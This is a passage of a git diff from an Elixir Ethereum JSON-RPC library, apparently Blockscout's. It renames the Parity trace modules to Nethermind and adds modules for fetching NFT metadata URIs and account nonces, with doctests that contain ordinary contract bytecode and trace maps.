"0x6060604052341561000f57600080fd5b336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506102db8061005e6000396000f300606060405260043610610062576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630900f01014610067578063445df0ac146100a05780638da5cb5b146100c9578063fdacd5761461011e575b600080fd5b341561007257600080fd5b61009e600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610141565b005b34156100ab57600080fd5b6100b3610224565b6040518082815260200191505060405180910390f35b34156100d457600080fd5b6100dc61022a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561012957600080fd5b61013f600480803590602001909190505061024f565b005b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610220578190508073ffffffffffffffffffffffffffffffffffffffff1663fdacd5766001546040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050600060405180830381600087803b151561020b57600080fd5b6102c65a03f1151561021c57600080fd5b5050505b5050565b60015481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156102ac57806001819055505b505600a165627a7a72305820a9c628775efbfbc17477a472413c01ee9b33881f550c59d21bee9928835c854b0029", + ...> "value" => "0x0" + ...> }, + ...> "result" => %{ + ...> "address" => "0xffc87239eb0267bc3ca2cd51d12fbf278e02ccb4", + ...> "code" => "0x606060405260043610610062576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630900f01014610067578063445df0ac146100a05780638da5cb5b146100c9578063fdacd5761461011e575b600080fd5b341561007257600080fd5b61009e600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610141565b005b34156100ab57600080fd5b6100b3610224565b6040518082815260200191505060405180910390f35b34156100d457600080fd5b6100dc61022a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561012957600080fd5b61013f600480803590602001909190505061024f565b005b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610220578190508073ffffffffffffffffffffffffffffffffffffffff1663fdacd5766001546040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050600060405180830381600087803b151561020b57600080fd5b6102c65a03f1151561021c57600080fd5b5050505b5050565b60015481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156102ac57806001819055505b505600a165627a7a72305820a9c628775efbfbc17477a472413c01ee9b33881f550c59d21bee9928835c854b0029", + ...> "gasUsed" => "0x28afb" + ...> }, + ...> "subtraces" => 0, + ...> "traceAddress" => [], + ...> "transactionIndex" => 0, + ...> "type" => "create" + ...> } + ...> ) + ** (ArgumentError) Caller must `Map.put/2` `"blockNumber"`, `"index"`, `"transactionHash"` and `"transactionIndex"` in trace + + `"suicide"` `"type"` traces are different in that they have a `nil` `"result"`. This is because the `"result"` key + is used to indicate success from Nethermind. + + iex> EthereumJSONRPC.Nethermind.Trace.to_elixir( + ...> %{ + ...> "action" => %{ + ...> "address" => "0xa7542d78b9a0be6147536887e0065f16182d294b", + ...> "balance" => "0x0", + ...> "refundAddress" => "0x59e2e9ecf133649b1a7efc731162ff09d29ca5a5" + ...> }, + ...> "blockNumber" => 1, + ...> "index" => 1, + ...> "result" => nil, + ...> "subtraces" => 0, + ...> "traceAddress" => [0], + ...> "transactionHash" => "0xb012b8c53498c669d87d85ed90f57385848b86d3f44ed14b2784ec685d6fda98", + ...> "transactionIndex" => 0, + ...> "type" => "suicide" + ...> } + ...> ) + %{ + "action" => %{ + "address" => "0xa7542d78b9a0be6147536887e0065f16182d294b", + "balance" => 0, + "refundAddress" => "0x59e2e9ecf133649b1a7efc731162ff09d29ca5a5" + }, + "blockNumber" => 1, + "index" => 1, + "result" => nil, + "subtraces" => 0, + "traceAddress" => [0], + "transactionHash" => "0xb012b8c53498c669d87d85ed90f57385848b86d3f44ed14b2784ec685d6fda98", + "transactionIndex" => 0, + "type" => "suicide" + } + + A call type trace can error and be reverted. + + iex> EthereumJSONRPC.Nethermind.Trace.to_elixir( + ...> %{ + ...> "action" => %{ + ...> "callType" => "call", + ...> "from" => "0xc9266e6fdf5182dc47d27e0dc32bdff9e4cd2e32", + ...> "gas" => "0x73a468", + ...> "input" => "0xa6f2ae3a", + ...> "to" => "0xfdca0da4158740a93693441b35809b5bb463e527", + ...> "value" => "0x2386f26fc10000" + ...> }, + ...> "blockNumber" => 1, + ...> "blockHash" => "0x940ec4bab528861b5c5904c8d143d466a2b237e4b8c9bc96201dfde037d185f2", + ...> "error" => "Reverted", + ...> "index" => 0, + ...> "subtraces" => 7, + ...> "traceAddress" => [], + ...> "transactionHash" => "0xcd7c15dbbc797722bef6e1d551edfd644fc7f4fb2ccd6a7947b2d1ade9ed140b", + ...> "transactionIndex" => 0, + ...> "type" => "call" + ...> } + ...> ) + %{ + "action" => %{ + "callType" => "call", + "from" => "0xc9266e6fdf5182dc47d27e0dc32bdff9e4cd2e32", + "gas" => 7578728, + "input" => "0xa6f2ae3a", + "to" => "0xfdca0da4158740a93693441b35809b5bb463e527", + "value" => 10000000000000000 + }, + "blockNumber" => 1, + "blockHash" => "0x940ec4bab528861b5c5904c8d143d466a2b237e4b8c9bc96201dfde037d185f2", + "error" => "Reverted", + "index" => 0, + "subtraces" => 7, + "traceAddress" => [], + "transactionHash" => "0xcd7c15dbbc797722bef6e1d551edfd644fc7f4fb2ccd6a7947b2d1ade9ed140b", + "transactionIndex" => 0, + "type" => "call" + } + + """ + + def to_elixir(%{"blockNumber" => _, "index" => _, "transactionHash" => _, "transactionIndex" => _} = trace) + when is_map(trace) do + Enum.into(trace, %{}, &entry_to_elixir/1) + end + + def to_elixir(_) do + raise ArgumentError, + ~S|Caller must `Map.put/2` `"blockNumber"`, `"index"`, `"transactionHash"` and `"transactionIndex"` in trace| + end + + # subtraces is an actual integer in JSON and not hex-encoded + # traceAddress is a list of actual integers, not a list of hex-encoded + defp entry_to_elixir({key, _} = entry) + when key in ~w(subtraces traceAddress transactionHash blockHash type output), + do: entry + + defp entry_to_elixir({"action" = key, action}) do + {key, Action.to_elixir(action)} + end + + defp entry_to_elixir({"blockNumber", block_number} = entry) when is_integer(block_number), + do: entry + + defp entry_to_elixir({"error", reason} = entry) when is_binary(reason), do: entry + + defp entry_to_elixir({"index", index} = entry) when is_integer(index), do: entry + + defp entry_to_elixir({"result" = key, result}) do + {key, Result.to_elixir(result)} + end + + defp entry_to_elixir({"transactionIndex", index} = entry) when is_integer(index), do: entry +end diff --git a/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/parity/trace/action.ex b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/nethermind/trace/action.ex similarity index 94% rename from apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/parity/trace/action.ex rename to apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/nethermind/trace/action.ex index 4785c0d0cf56..ee5d571653b2 100644 --- a/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/parity/trace/action.ex +++ b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/nethermind/trace/action.ex @@ -1,6 +1,6 @@ -defmodule EthereumJSONRPC.Parity.Trace.Action do +defmodule EthereumJSONRPC.Nethermind.Trace.Action do @moduledoc """ - The action that was performed in a `t:EthereumJSONRPC.Parity.Trace.t/0` + The action that was performed in a `t:EthereumJSONRPC.Nethermind.Trace.t/0` """ import EthereumJSONRPC, only: [quantity_to_integer: 1] @@ -8,7 +8,7 @@ defmodule EthereumJSONRPC.Parity.Trace.Action do @doc """ Decodes the stringly typed numerical fields to `t:non_neg_integer/0`. - iex> EthereumJSONRPC.Parity.Trace.Action.to_elixir( + iex> EthereumJSONRPC.Nethermind.Trace.Action.to_elixir( ...> %{ ...> "from" => "0xe8ddc5c7a2d2f0d7a9798459c0104fdf5e987aca", ...> "gas" => "0x462534", @@ -26,7 +26,7 @@ defmodule EthereumJSONRPC.Parity.Trace.Action do For a suicide, the `"balance"` is converted to a `t:non_neg_integer/0` while the `"address"` and `"refundAddress"` `t:EthereumJSONRPC.hash/0` pass through. - iex> EthereumJSONRPC.Parity.Trace.Action.to_elixir( + iex> EthereumJSONRPC.Nethermind.Trace.Action.to_elixir( ...> %{ ...> "address" => "0xa7542d78b9a0be6147536887e0065f16182d294b", ...> "balance" => "0x0", diff --git a/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/parity/trace/result.ex b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/nethermind/trace/result.ex similarity index 92% rename from apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/parity/trace/result.ex rename to apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/nethermind/trace/result.ex index 23ef64243676..c3ea279a8c6c 100644 --- a/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/parity/trace/result.ex +++ b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/nethermind/trace/result.ex @@ -1,6 +1,6 @@ -defmodule EthereumJSONRPC.Parity.Trace.Result do +defmodule EthereumJSONRPC.Nethermind.Trace.Result do @moduledoc """ - The result of performing the `t:EthereumJSONRPC.Parity.Action.t/0` in a `t:EthereumJSONRPC.Parity.Trace.t/0`. + The result of performing the `t:EthereumJSONRPC.Nethermind.Action.t/0` in a `t:EthereumJSONRPC.Nethermind.Trace.t/0`. """ import EthereumJSONRPC, only: [quantity_to_integer: 1] @@ -8,7 +8,7 @@ defmodule EthereumJSONRPC.Parity.Trace.Result do @doc """ Decodes the stringly typed numerical fields to `t:non_neg_integer/0`. - iex> EthereumJSONRPC.Parity.Trace.Result.to_elixir( + iex> EthereumJSONRPC.Nethermind.Trace.Result.to_elixir( ...> %{ ...> "address" => "0xffc87239eb0267bc3ca2cd51d12fbf278e02ccb4", ...> "code" => "0x606060405260043610610062576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630900f01014610067578063445df0ac146100a05780638da5cb5b146100c9578063fdacd5761461011e575b600080fd5b341561007257600080fd5b61009e600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610141565b005b34156100ab57600080fd5b6100b3610224565b6040518082815260200191505060405180910390f35b34156100d457600080fd5b6100dc61022a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561012957600080fd5b61013f600480803590602001909190505061024f565b005b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610220578190508073ffffffffffffffffffffffffffffffffffffffff1663fdacd5766001546040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050600060405180830381600087803b151561020b57600080fd5b6102c65a03f1151561021c57600080fd5b5050505b5050565b60015481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156102ac57806001819055505b505600a165627a7a72305820a9c628775efbfbc17477a472413c01ee9b33881f550c59d21bee9928835c854b0029", @@ -23,7 +23,7 @@ defmodule EthereumJSONRPC.Parity.Trace.Result do `nil` results can occur for suicide type traces. - iex> EthereumJSONRPC.Parity.Trace.Result.to_elixir(nil) + iex> EthereumJSONRPC.Nethermind.Trace.Result.to_elixir(nil) nil """ diff --git a/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/nethermind/traces.ex b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/nethermind/traces.ex new file mode 100644 index 000000000000..1386eb5f84da --- /dev/null +++ b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/nethermind/traces.ex @@ -0,0 +1,16 @@ +defmodule EthereumJSONRPC.Nethermind.Traces do + @moduledoc """ + Trace returned by + [`trace_replayTransaction`](https://openethereum.github.io/JSONRPC-trace-module#trace_replaytransaction). + """ + + alias EthereumJSONRPC.Nethermind.Trace + + def elixir_to_params(elixir) when is_list(elixir) do + Enum.map(elixir, &Trace.elixir_to_params/1) + end + + def to_elixir(traces) when is_list(traces) do + Enum.map(traces, &Trace.to_elixir/1) + end +end diff --git a/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/nft.ex b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/nft.ex new file mode 100644 index 000000000000..62b52ab9fb48 --- /dev/null +++ b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/nft.ex @@ -0,0 +1,203 @@ +defmodule EthereumJSONRPC.NFT do + @moduledoc """ + Module responsible for requesting token_uri and uri methods which needed for NFT metadata fetching + """ + + @token_uri "c87b56dd" + @base_uri "6c0360eb" + @uri "0e89341c" + + @vm_execution_error "VM execution error" + + @erc_721_1155_abi [ + %{ + "inputs" => [], + "name" => "baseURI", + "outputs" => [ + %{ + "internalType" => "string", + "name" => "", + "type" => "string" + } + ], + "stateMutability" => "view", + "type" => "function" + }, + %{ + "type" => "function", + "stateMutability" => "view", + "payable" => false, + "outputs" => [ + %{"type" => "string", "name" => ""} + ], + "name" => "tokenURI", + "inputs" => [ + %{ + "type" => "uint256", + "name" => "_tokenId" + } + ], + "constant" => true + }, + %{ + "type" => "function", + "stateMutability" => "view", + "payable" => false, + "outputs" => [ + %{ + "type" => "string", + "name" => "", + "internalType" => "string" + } + ], + "name" => "uri", + "inputs" => [ + %{ + "type" => "uint256", + "name" => "_id", + "internalType" => "uint256" + } + ], + "constant" => true + } + ] + + @doc """ + Executes batch requests to fetch metadata URLs for token instances. + It first attempts to fetch using the primary method (tokenURI/uri). For failed requests, + it may retry using baseURI based on application configuration. + + ## Parameters + + - `token_instances`: List of tuples containing {contract_address_hash, token_id, token_type} + - `json_rpc_named_arguments`: Arguments for JSON RPC calls + + ## Returns + + - List of results with metadata URLs or errors + """ + @spec batch_metadata_url_request( + list({Explorer.Chain.Hash.Address.t(), non_neg_integer() | Decimal.t(), String.t()}), + EthereumJSONRPC.json_rpc_named_arguments() + ) :: list({:ok, [String.t()]} | {{:error, [String.t()]}, boolean()}) + def batch_metadata_url_request(token_instances, json_rpc_named_arguments) do + {mb_retry, other} = + token_instances + |> prepare_requests() + |> EthereumJSONRPC.execute_contract_functions(@erc_721_1155_abi, json_rpc_named_arguments, false) + |> process_results() + |> Enum.with_index() + |> Enum.split_with(fn + {{{:error, @vm_execution_error}, _from_base_uri}, _ind} -> true + _ -> false + end) + + retry_result = + if Application.get_env(:indexer, Indexer.Fetcher.TokenInstance.Helper)[:base_uri_retry?] do + {instances, indexes} = + mb_retry + |> Enum.map(fn {_, ind} -> + {token_instances |> Enum.at(ind), ind} + end) + |> Enum.unzip() + + instances + |> prepare_requests(true) + |> EthereumJSONRPC.execute_contract_functions(@erc_721_1155_abi, json_rpc_named_arguments, false) + |> process_results(true) + |> Enum.zip(indexes) + else + mb_retry + end + + (other ++ retry_result) |> Enum.sort_by(fn {_, ind} -> ind end) |> Enum.map(&elem(&1, 0)) + end + + defp process_results(results, from_base_uri? \\ false) do + results + |> Enum.map(fn + {:error, error} -> + error = to_string(error) + + error = + if error =~ "execution reverted" or error =~ @vm_execution_error do + @vm_execution_error + else + error + end + + {{:error, error}, from_base_uri?} + + other -> + {other, from_base_uri?} + end) + end + + defp prepare_requests(token_instances, from_base_uri? \\ false) do + token_instances + |> Enum.map(fn {token_contract_address_hash, token_id, token_type} -> + token_id = prepare_token_id(token_id) + token_contract_address_hash_string = to_string(token_contract_address_hash) + + prepare_request( + token_type, + token_contract_address_hash_string, + token_id, + from_base_uri? + ) + end) + end + + @doc """ + Prepares a request map for fetching metadata URL. + ## Parameters + - `token_type`: Type of token (ERC-404, ERC-721, ERC-1155) + - `contract_address_hash_string`: String representation of the contract address + - `token_id`: Token ID as integer + - `from_base_uri?`: Boolean indicating if request is for base URI + ## Returns + - Map with request parameters + """ + @spec prepare_request(String.t(), String.t(), non_neg_integer(), boolean()) :: map() + def prepare_request(token_type, contract_address_hash_string, token_id, from_base_uri?) + when token_type in ["ERC-404", "ERC-721"] do + request = %{ + contract_address: contract_address_hash_string, + block_number: nil + } + + if from_base_uri? do + request |> Map.put(:method_id, @base_uri) |> Map.put(:args, []) + else + request |> Map.put(:method_id, @token_uri) |> Map.put(:args, [token_id]) + end + end + + def prepare_request(_token_type, contract_address_hash_string, token_id, from_base_uri?) do + request = %{ + contract_address: contract_address_hash_string, + block_number: nil + } + + if from_base_uri? do + request |> Map.put(:method_id, @base_uri) |> Map.put(:args, []) + else + request |> Map.put(:method_id, @uri) |> Map.put(:args, [token_id]) + end + end + + @doc """ + Prepares token id for request. + """ + @spec prepare_token_id(any) :: any + def prepare_token_id(%Decimal{} = token_id), do: Decimal.to_integer(token_id) + def prepare_token_id(token_id), do: token_id + + @doc """ + Returns the ABI of uri, tokenURI, baseURI getters for ERC-721 and ERC-1155 tokens. + """ + @spec erc_721_1155_abi() :: list(map()) + def erc_721_1155_abi do + @erc_721_1155_abi + end +end diff --git a/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/nonce.ex b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/nonce.ex new file mode 100644 index 000000000000..46eccdac302e --- /dev/null +++ b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/nonce.ex @@ -0,0 +1,91 @@ +defmodule EthereumJSONRPC.Nonce do + @moduledoc """ + A single code fetched from `eth_getTransactionCount`. + """ + + import EthereumJSONRPC, only: [quantity_to_integer: 1] + alias EthereumJSONRPC.FetchedCode + + @type params :: %{address: EthereumJSONRPC.address(), block_number: non_neg_integer(), nonce: non_neg_integer()} + @type error :: FetchedCode.error() + + @doc """ + Converts a JSON-RPC response of `eth_getTransactionCount` to code params or an annotated error. + + This function handles two types of responses: + 1. Successful responses with fetched code. + 2. Error responses. + + ## Parameters + - `response`: A map containing either a successful result or an error. + - `id_to_params`: A map of request IDs to their corresponding parameters. + + ## Returns + - `{:ok, params()}` for successful responses, where `params()` is a map + containing the address, block number, and fetched code. + - `{:error, error()}` for error responses, where `error()` is a map + containing the error code, message, and additional data. + + ## Examples + iex> # Successful response: + iex> response = %{id: 1, result: "0x2"} + iex> id_to_params = %{1 => %{block_quantity: "0x1", address: "0xabc"}} + iex> Nonce.from_response(response, id_to_params) + {:ok, %{address: "0xabc", block_number: 1, nonce: 2}} + iex> # Error response: + iex> response = %{id: 1, error: %{code: 100, message: "Error"}} + iex> id_to_params = %{1 => %{block_quantity: "0x1", address: "0xabc"}} + iex> Nonce.from_response(response, id_to_params) + {:error, %{code: 100, message: "Error", data: %{block_quantity: "0x1", address: "0xabc"}}} + """ + @spec from_response(%{id: EthereumJSONRPC.request_id(), result: String.t()}, %{ + non_neg_integer() => %{block_quantity: String.t(), address: String.t()} + }) :: {:ok, params()} + def from_response(%{id: id, result: nonce_hex}, id_to_params) when is_map(id_to_params) do + %{block_quantity: block_quantity, address: address} = Map.fetch!(id_to_params, id) + + {:ok, + %{ + address: address, + block_number: quantity_to_integer(block_quantity), + nonce: quantity_to_integer(nonce_hex) + }} + end + + @spec from_response(%{id: EthereumJSONRPC.request_id(), error: %{code: integer(), message: String.t()}}, %{ + non_neg_integer() => %{block_quantity: String.t(), address: String.t()} + }) :: {:error, error()} + def from_response(%{id: _id, error: %{code: code, message: message}} = response, id_to_params) + when is_integer(code) and is_binary(message) and is_map(id_to_params) do + FetchedCode.from_response(response, id_to_params) + end + + @doc """ + Creates a standardized JSON-RPC request structure to fetch contract code using `eth_getTransactionCount`. + + ## Parameters + - `id`: The request identifier. + - `block_quantity`: The block number or tag (e.g., "latest") for which to + fetch the code. + - `address`: The address of the contract whose code is to be fetched. + + ## Returns + A map representing a JSON-RPC request with the following structure: + - `jsonrpc`: The JSON-RPC version (always "2.0"). + - `id`: The request identifier passed in. + - `method`: The RPC method name (always "eth_getTransactionCount"). + - `params`: A list containing the contract address and block identifier. + """ + @spec request(%{id: id, block_quantity: block_quantity, address: address}) :: %{ + jsonrpc: String.t(), + id: id, + method: String.t(), + params: [address | block_quantity] + } + when id: EthereumJSONRPC.request_id(), + block_quantity: EthereumJSONRPC.quantity(), + address: EthereumJSONRPC.address() + def request(%{id: id, block_quantity: block_quantity, address: address}) do + EthereumJSONRPC.request(%{id: id, method: "eth_getTransactionCount", params: [address, block_quantity]}) + end +end diff --git a/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/nonces.ex b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/nonces.ex new file mode 100644 index 000000000000..2a2bf6ba5997 --- /dev/null +++ b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/nonces.ex @@ -0,0 +1,84 @@ +defmodule EthereumJSONRPC.Nonces do + @moduledoc """ + Nonce params and errors from a batch request from `eth_getTransactionCount`. + """ + + alias EthereumJSONRPC.Nonce + + defstruct params_list: [], + errors: [] + + @typedoc """ + * `params_list` - all the nonce params from requests that succeeded in the batch. + * `errors` - all the errors from requests that failed in the batch. + """ + @type t :: %__MODULE__{params_list: [Nonce.params()], errors: [Nonce.error()]} + + @doc """ + Generates a list of `eth_getTransactionCount` JSON-RPC requests for the given parameters. + + This function takes a map of request IDs to parameter maps and transforms them + into a list of JSON-RPC request structures for fetching nonces. + + ## Parameters + - `id_to_params`: A map where keys are request IDs and values are maps + containing `block_quantity` and `address` for each request. + + ## Returns + A list of maps, each representing a JSON-RPC request with the following + structure: + - `jsonrpc`: The JSON-RPC version (always "2.0"). + - `id`: The request identifier. + - `method`: The RPC method name (always "eth_getTransactionCount"). + - `params`: A list containing the address and block identifier. + """ + @spec requests(%{id => %{block_quantity: block_quantity, address: address}}) :: [ + %{jsonrpc: String.t(), id: id, method: String.t(), params: [address | block_quantity]} + ] + when id: EthereumJSONRPC.request_id(), + block_quantity: EthereumJSONRPC.quantity(), + address: EthereumJSONRPC.address() + def requests(id_to_params) when is_map(id_to_params) do + Enum.map(id_to_params, fn {id, %{block_quantity: block_quantity, address: address}} -> + Nonce.request(%{id: id, block_quantity: block_quantity, address: address}) + end) + end + + @doc """ + Processes responses from `eth_getTransactionCount` JSON-RPC calls and converts them into a structured format. + + This function takes a list of responses from `eth_getTransactionCount` calls and a map of + request IDs to their corresponding parameters. It sanitizes the responses, + processes each one, and accumulates the results into a `Nonces` struct. + + ## Parameters + - `responses`: A list of response maps from `eth_getTransactionCount` calls. Each map + contains an `:id` key and either a `:result` or `:error` key. + - `id_to_params`: A map where keys are request IDs and values are maps + containing `block_quantity` and `address` for each request. + + ## Returns + A `Nonces` struct containing: + - `params_list`: A list of successfully fetched nonce parameters. + - `errors`: A list of errors encountered during the process. + """ + @spec from_responses( + [%{:id => EthereumJSONRPC.request_id(), optional(:error) => map(), optional(:result) => String.t()}], + %{non_neg_integer() => %{block_quantity: String.t(), address: String.t()}} + ) :: t() + def from_responses(responses, id_to_params) do + responses + |> EthereumJSONRPC.sanitize_responses(id_to_params) + |> Enum.map(&Nonce.from_response(&1, id_to_params)) + |> Enum.reduce( + %__MODULE__{}, + fn + {:ok, params}, %__MODULE__{params_list: params_list} = acc -> + %__MODULE__{acc | params_list: [params | params_list]} + + {:error, reason}, %__MODULE__{errors: errors} = acc -> + %__MODULE__{acc | errors: [reason | errors]} + end + ) + end +end diff --git a/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/parity.ex b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/parity.ex deleted file mode 100644 index 8165651ad563..000000000000 --- a/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/parity.ex +++ /dev/null @@ -1,310 +0,0 @@ -# credo:disable-for-this-file -defmodule EthereumJSONRPC.Parity do - @moduledoc """ - Ethereum JSONRPC methods that are only supported by [Parity](https://wiki.parity.io/). - """ - require Logger - import EthereumJSONRPC, only: [id_to_params: 1, integer_to_quantity: 1, json_rpc: 2, request: 1] - - alias EthereumJSONRPC.Parity.{FetchedBeneficiaries, Traces} - alias EthereumJSONRPC.{Transaction, Transactions} - - @behaviour EthereumJSONRPC.Variant - - @impl EthereumJSONRPC.Variant - def fetch_beneficiaries(block_numbers, json_rpc_named_arguments) - when is_list(block_numbers) and is_list(json_rpc_named_arguments) do - id_to_params = - block_numbers - |> block_numbers_to_params_list() - |> id_to_params() - - with {:ok, responses} <- - id_to_params - |> FetchedBeneficiaries.requests() - |> json_rpc(json_rpc_named_arguments) do - {:ok, FetchedBeneficiaries.from_responses(responses, id_to_params)} - end - end - - @doc """ - Internal transaction fetching for individual transactions is no longer supported for Parity. - - To signal to the caller that fetching is not supported, `:ignore` is returned. - """ - @impl EthereumJSONRPC.Variant - def fetch_internal_transactions(_transactions_params, _json_rpc_named_arguments), do: :ignore - - @doc """ - Fetches the `t:Explorer.Chain.InternalTransaction.changeset/2` params from the Parity trace URL. - """ - @impl EthereumJSONRPC.Variant - def fetch_block_internal_transactions(block_numbers, json_rpc_named_arguments) when is_list(block_numbers) do - id_to_params = id_to_params(block_numbers) - - with {:ok, responses} <- - id_to_params - |> trace_replay_block_transactions_requests() - |> json_rpc(json_rpc_named_arguments) do - trace_replay_block_transactions_responses_to_internal_transactions_params(responses, id_to_params) - end - end - - @impl EthereumJSONRPC.Variant - def fetch_first_trace(transactions_params, json_rpc_named_arguments) when is_list(transactions_params) do - id_to_params = id_to_params(transactions_params) - - trace_replay_transaction_response = - id_to_params - |> trace_replay_transaction_requests() - |> json_rpc(json_rpc_named_arguments) - - case trace_replay_transaction_response do - {:ok, responses} -> - case trace_replay_transaction_responses_to_first_trace_params(responses, id_to_params) do - {:ok, [first_trace]} -> - %{block_hash: block_hash} = - transactions_params - |> Enum.at(0) - - {:ok, - [%{first_trace: first_trace, block_hash: block_hash, json_rpc_named_arguments: json_rpc_named_arguments}]} - - {:error, error} -> - Logger.error(inspect(error)) - {:error, error} - end - - {:error, :econnrefused} -> - {:error, :econnrefused} - - {:error, [error]} -> - Logger.error(inspect(error)) - {:error, error} - end - end - - @doc """ - Fetches the pending transactions from the Parity node. - - *NOTE*: The pending transactions are local to the node that is contacted and may not be consistent across nodes based - on the transactions that each node has seen and how each node prioritizes collating transactions into the next block. - """ - @impl EthereumJSONRPC.Variant - @spec fetch_pending_transactions(EthereumJSONRPC.json_rpc_named_arguments()) :: - {:ok, [Transaction.params()]} | {:error, reason :: term} - def fetch_pending_transactions(json_rpc_named_arguments) do - with {:ok, transactions} <- - %{id: 1, method: "parity_pendingTransactions", params: []} - |> request() - |> json_rpc(json_rpc_named_arguments) do - transactions_params = - transactions - |> Transactions.to_elixir() - |> Transactions.elixir_to_params() - - {:ok, transactions_params} - end - end - - defp block_numbers_to_params_list(block_numbers) when is_list(block_numbers) do - Enum.map(block_numbers, &%{block_quantity: integer_to_quantity(&1)}) - end - - defp trace_replay_block_transactions_responses_to_internal_transactions_params(responses, id_to_params) - when is_list(responses) and is_map(id_to_params) do - with {:ok, traces} <- trace_replay_block_transactions_responses_to_traces(responses, id_to_params) do - params = - traces - |> Traces.to_elixir() - |> Traces.elixir_to_params() - - {:ok, params} - end - end - - defp trace_replay_block_transactions_responses_to_traces(responses, id_to_params) - when is_list(responses) and is_map(id_to_params) do - responses - |> Enum.map(&trace_replay_block_transactions_response_to_traces(&1, id_to_params)) - |> Enum.reduce( - {:ok, []}, - fn - {:ok, traces}, {:ok, acc_traces_list} -> - {:ok, [traces | acc_traces_list]} - - {:ok, _}, {:error, _} = acc_error -> - acc_error - - {:error, reason}, {:ok, _} -> - {:error, [reason]} - - {:error, reason}, {:error, acc_reason} -> - {:error, [reason | acc_reason]} - end - ) - |> case do - {:ok, traces_list} -> - traces = - traces_list - |> Enum.reverse() - |> List.flatten() - - {:ok, traces} - - {:error, reverse_reasons} -> - reasons = Enum.reverse(reverse_reasons) - {:error, reasons} - end - end - - defp trace_replay_block_transactions_response_to_traces(%{id: id, result: results}, id_to_params) - when is_list(results) and is_map(id_to_params) do - block_number = Map.fetch!(id_to_params, id) - - annotated_traces = - results - |> Stream.with_index() - |> Enum.flat_map(fn {%{"trace" => traces, "transactionHash" => transaction_hash}, transaction_index} -> - traces - |> Stream.with_index() - |> Enum.map(fn {trace, index} -> - Map.merge(trace, %{ - "blockNumber" => block_number, - "transactionHash" => transaction_hash, - "transactionIndex" => transaction_index, - "index" => index - }) - end) - end) - - {:ok, annotated_traces} - end - - defp trace_replay_block_transactions_response_to_traces(%{id: id, error: error}, id_to_params) - when is_map(id_to_params) do - block_number = Map.fetch!(id_to_params, id) - - annotated_error = - Map.put(error, :data, %{ - "blockNumber" => block_number - }) - - {:error, annotated_error} - end - - defp trace_replay_block_transactions_requests(id_to_params) when is_map(id_to_params) do - Enum.map(id_to_params, fn {id, block_number} -> - trace_replay_block_transactions_request(%{id: id, block_number: block_number}) - end) - end - - defp trace_replay_block_transactions_request(%{id: id, block_number: block_number}) do - request(%{id: id, method: "trace_replayBlockTransactions", params: [integer_to_quantity(block_number), ["trace"]]}) - end - - def trace_replay_transaction_responses_to_first_trace_params(responses, id_to_params) - when is_list(responses) and is_map(id_to_params) do - with {:ok, traces} <- trace_replay_transaction_responses_to_first_trace(responses, id_to_params) do - params = - traces - |> Traces.to_elixir() - |> Traces.elixir_to_params() - - {:ok, params} - end - end - - defp 